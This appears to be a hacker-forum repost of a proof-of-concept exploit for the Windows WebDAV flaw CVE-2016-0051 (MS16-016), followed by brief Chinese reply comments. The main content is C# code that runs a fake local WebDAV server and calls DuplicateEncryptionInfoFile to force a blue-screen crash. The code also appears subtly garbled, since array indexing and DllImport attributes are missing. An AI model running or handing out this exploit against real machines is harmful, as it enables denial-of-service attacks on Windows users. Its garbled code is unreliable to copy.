MS16-016 Exploit
Microsoft Windows WebDAV - BSoD PoC (MS16-016) ExploitSource: https://github.com/koczkatamas/CVE-2016-0051
/*
Source: https://github.com/koczkatamas/CVE-2016-0051
Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).
Full Proof of Concept:
https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39432.zip
*/
using System;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace BSoD
{
class Program
{
static void StartFakeWebDavServer(int port)
{
new Thread(() =>
{
var server = new TcpListener(IPAddress.Loopback, port);
server.Start();
while (true)
{
using (var client = server.AcceptTcpClient())
using (var stream = client.GetStream())
using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
{
Console.WriteLine(" =============== BEGIN REQUEST =============== ");
Func<string> rl = () =>
{
var line = reader.ReadLine();
Console.WriteLine("< " + line);
return line;
};
Action<string> wl = outData =>
{
Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
writer.Write(outData);
};
var header = rl().Split(' ');
while (!string.IsNullOrWhiteSpace(rl())) { }
if (header == "OPTIONS")
wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
else if (header == "PROPFIND")
{
var body = String.Format(@"
<?xml version=""1.0"" encoding=""UTF-8""?>
<D:multistatus xmlns:D=""DAV:"">
<D:response>
<D:href>{0}</D:href>
<D:propstat>
<D:prop>
<D:creationdate>{1:s}Z</D:creationdate>
<D:getcontentlength>{3}</D:getcontentlength>
<D:getcontenttype>{4}</D:getcontenttype>
<D:getetag>{5}</D:getetag>
<D:getlastmodified>{6:R}</D:getlastmodified>
<D:resourcetype>{8}</D:resourcetype>
<D:supportedlock></D:supportedlock>
<D:ishidden>{7}</D:ishidden>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>", header, DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header.Contains("file") ? "" : "<D:collection></D:collection>").Trim();
wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
}
else
wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");
Console.WriteLine(" =============== END REQUEST =============== ");
}
}
}) { IsBackground = true, Name = "WebDAV server thread" }.Start();
}
private class NETRESOURCE
{
public uint dwScope = 0;
public uint dwType = 0;
public uint dwDisplayType = 0;
public uint dwUsage = 0;
public string lpLocalName = null;
public string lpRemoteName = null;
public string lpComment = null;
public string lpProvider = null;
}
private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);
private static extern int DuplicateEncryptionInfoFile(string srcFileName, string dstFileName, uint dwCreationDistribution, uint dwAttributes, IntPtr lpSecurityAttributes);
public static void Main(string[] args)
{
var p = new Random().Next(1024, 65535);
StartFakeWebDavServer(p);
var addConnectionResult = WNetAddConnection2(new NETRESOURCE() { lpRemoteName = @"\\127.0.0.1@" + p + @"\folder\" }, null, null, 0);
Console.WriteLine("WNetAddConnection2 = " + addConnectionResult);
var duplicateEncryptionInfoResult = DuplicateEncryptionInfoFile(@"\\127.0.0.1@" + p + @"\folder\file", "x", 2, 128, IntPtr.Zero);
Console.WriteLine("DuplicateEncryptionInfoFile = " + duplicateEncryptionInfoResult);
Console.WriteLine("BSoD did not happen.");
Console.ReadLine();
}
}
} put 漏洞？
支持中国红客联盟(ihonker.org) https://technet.microsoft.com/zh-cn/library/security/ms16-016 支持，看起来不错呢！ 支持中国红客联盟(ihonker.org) 还是不错的哦，顶了 学习学习技术，加油！ 还是不错的哦，顶了